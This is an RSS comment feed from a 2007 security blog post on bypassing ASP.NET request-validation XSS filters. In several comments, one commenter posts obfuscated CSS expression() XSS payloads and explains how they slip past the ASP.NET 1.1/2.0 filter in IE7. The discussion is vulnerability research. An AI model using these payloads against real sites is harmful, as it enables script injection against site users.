<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Bypassing ASP.NET XSS Filters</title>
	<atom:link href="http://michaeldaw.org/news/news-030407/feed" rel="self" type="application/rss+xml" />
	<link>http://michaeldaw.org/news/news-030407</link>
	<description>Weekly humour</description>
	<lastBuildDate>Thu, 07 May 2009 20:09:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Operation n &#187; ASP-Auditor v2.2 Release</title>
		<link>http://michaeldaw.org/news/news-030407/comment-page-1#comment-21067</link>
		<dc:creator>Operation n &#187; ASP-Auditor v2.2 Release</dc:creator>
		<pubDate>Fri, 20 Apr 2007 22:30:12 +0000</pubDate>
		<guid isPermaLink="false">http://michaeldaw.org/news/news-030407/#comment-21067</guid>
		<description>[...] support for Anti-XSS Validation detection. # Added ASP Source Directory Leak Check # Added Apr/07 ASP.NET Validation Bypass [...]</description>
		<content:encoded><![CDATA[<p>[...] support for Anti-XSS Validation detection. # Added ASP Source Directory Leak Check # Added Apr/07 ASP.NET Validation Bypass [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Operation n &#187; ASP Auditor v2 BETA</title>
		<link>http://michaeldaw.org/news/news-030407/comment-page-1#comment-21066</link>
		<dc:creator>Operation n &#187; ASP Auditor v2 BETA</dc:creator>
		<pubDate>Fri, 20 Apr 2007 22:29:49 +0000</pubDate>
		<guid isPermaLink="false">http://michaeldaw.org/news/news-030407/#comment-21066</guid>
		<description>[...] support for Anti-XSS Validation detection. # * Added ASP Source Directory Leak Check # * Added Apr/07 ASP.NET Validation Bypass Check # # &#8211;v2.1&#8211; 25/Sep/06 # * GET /Trace.axd often leaks [...]</description>
		<content:encoded><![CDATA[<p>[...] support for Anti-XSS Validation detection. # * Added ASP Source Directory Leak Check # * Added Apr/07 ASP.NET Validation Bypass Check # # &#8211;v2.1&#8211; 25/Sep/06 # * GET /Trace.axd often leaks [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: David Kierznowski</title>
		<link>http://michaeldaw.org/news/news-030407/comment-page-1#comment-21036</link>
		<dc:creator>David Kierznowski</dc:creator>
		<pubDate>Fri, 20 Apr 2007 18:38:46 +0000</pubDate>
		<guid isPermaLink="false">http://michaeldaw.org/news/news-030407/#comment-21036</guid>
		<description>As I said man, very nice - I dont think this is even on ha.ckers.org cheat sheet.</description>
		<content:encoded><![CDATA[<p>As I said man, very nice &#8211; I dont think this is even on ha.ckers.org cheat sheet.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pagvac</title>
		<link>http://michaeldaw.org/news/news-030407/comment-page-1#comment-21008</link>
		<dc:creator>pagvac</dc:creator>
		<pubDate>Fri, 20 Apr 2007 14:22:58 +0000</pubDate>
		<guid isPermaLink="false">http://michaeldaw.org/news/news-030407/#comment-21008</guid>
		<description>btw dwk, if the maximum length of the payload is an issue the following shortened version might help (also gets rendered by IE 7 and goes through ASP .NET 2.x filter):

&lt;//STYLE=x:e/**/xpression(alert(&apos;xss&apos;))&gt;</description>
		<content:encoded><![CDATA[<p>btw dwk, if the maximum length of the payload is an issue the following shortened version might help (also gets rendered by IE 7 and goes through ASP .NET 2.x filter):</p>
<p>&lt;//STYLE=x:e/**/xpression(alert(&apos;xss&apos;))&gt;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pagvac</title>
		<link>http://michaeldaw.org/news/news-030407/comment-page-1#comment-20755</link>
		<dc:creator>pagvac</dc:creator>
		<pubDate>Wed, 18 Apr 2007 16:16:55 +0000</pubDate>
		<guid isPermaLink="false">http://michaeldaw.org/news/news-030407/#comment-20755</guid>
		<description>Sorry, code got filtered before. Here is the safe version:

&lt;form name=&quot;Form1&quot; method=&quot;post&quot; action=&quot;Search.aspx?Start=0&amp;s=&lt;/XSS/*-*/STYLE=xss:e/**/xpression(alert(&apos;XSS&apos;))&gt;&quot; id=&quot;Form1&quot;&gt;</description>
		<content:encoded><![CDATA[<p>Sorry, code got filtered before. Here is the safe version:</p>
<p>&lt;form name=&quot;Form1&quot; method=&quot;post&quot; action=&quot;Search.aspx?Start=0&amp;amp;s=&lt;/XSS/*-*/STYLE=xss:e/**/xpression(alert(&apos;XSS&apos;))&gt;&quot; id=&quot;Form1&quot;&gt;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pagvac</title>
		<link>http://michaeldaw.org/news/news-030407/comment-page-1#comment-20753</link>
		<dc:creator>pagvac</dc:creator>
		<pubDate>Wed, 18 Apr 2007 16:14:45 +0000</pubDate>
		<guid isPermaLink="false">http://michaeldaw.org/news/news-030407/#comment-20753</guid>
		<description>it&#039;s true that ASP .NET escapes double quotes thanks to its built-in request filtering which is enabled by default on ASP .NET 1.1.X and 2.0.x.

the following is a typical situation you&#039;ll come across a lot:

&lt;form name=&quot;Form1&quot; method=&quot;post&quot; action=&quot;Search.aspx?Start=0&amp;s=&lt;/XSS/*-*/STYLE=xss:e/**/xpression(alert(&apos;XSS&apos;))&gt;&quot; id=&quot;Form1&quot;&gt;

which means that we need to inject a quotation mark &#039;&quot;&#039; in order to escape the &#039;action&#039; attribute.

however, keep in mind that this is not always the case, as sometimes there is not need to evade quotation marks.

I&#039;d say on avarage this filter bypass allows you to increase XSS on ASP .NET sites by 15-20%. if someone managed to escape quotation marks I would guess that it would increase the exploitation to &gt;=90% of ASP .NET sites. this is just a guess anyways.

Please note that although further researched by me and Jan Fry the bypass was originally found by Richard Brain.</description>
		<content:encoded><![CDATA[<p>it&#8217;s true that ASP .NET escapes double quotes thanks to its built-in request filtering which is enabled by default on ASP .NET 1.1.X and 2.0.x.</p>
<p>the following is a typical situation you&#8217;ll come across a lot:</p>
<p>&lt;form name=&quot;Form1&quot; method=&quot;post&quot; action=&quot;Search.aspx?Start=0&amp;amp;s=&lt;/XSS/*-*/STYLE=xss:e/**/xpression(alert(&apos;XSS&apos;))&gt;&quot; id=&quot;Form1&quot;&gt;</p>
<p>which means that we need to inject a quotation mark &#8216;&#8221;&#8216; in order to escape the &#8216;action&#8217; attribute.</p>
<p>however, keep in mind that this is not always the case, as sometimes there is not need to evade quotation marks.</p>
<p>I&#8217;d say on avarage this filter bypass allows you to increase XSS on ASP .NET sites by 15-20%. if someone managed to escape quotation marks I would guess that it would increase the exploitation to &gt;=90% of ASP .NET sites. this is just a guess anyways.</p>
<p>Please note that although further researched by me and Jan Fry the bypass was originally found by Richard Brain.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
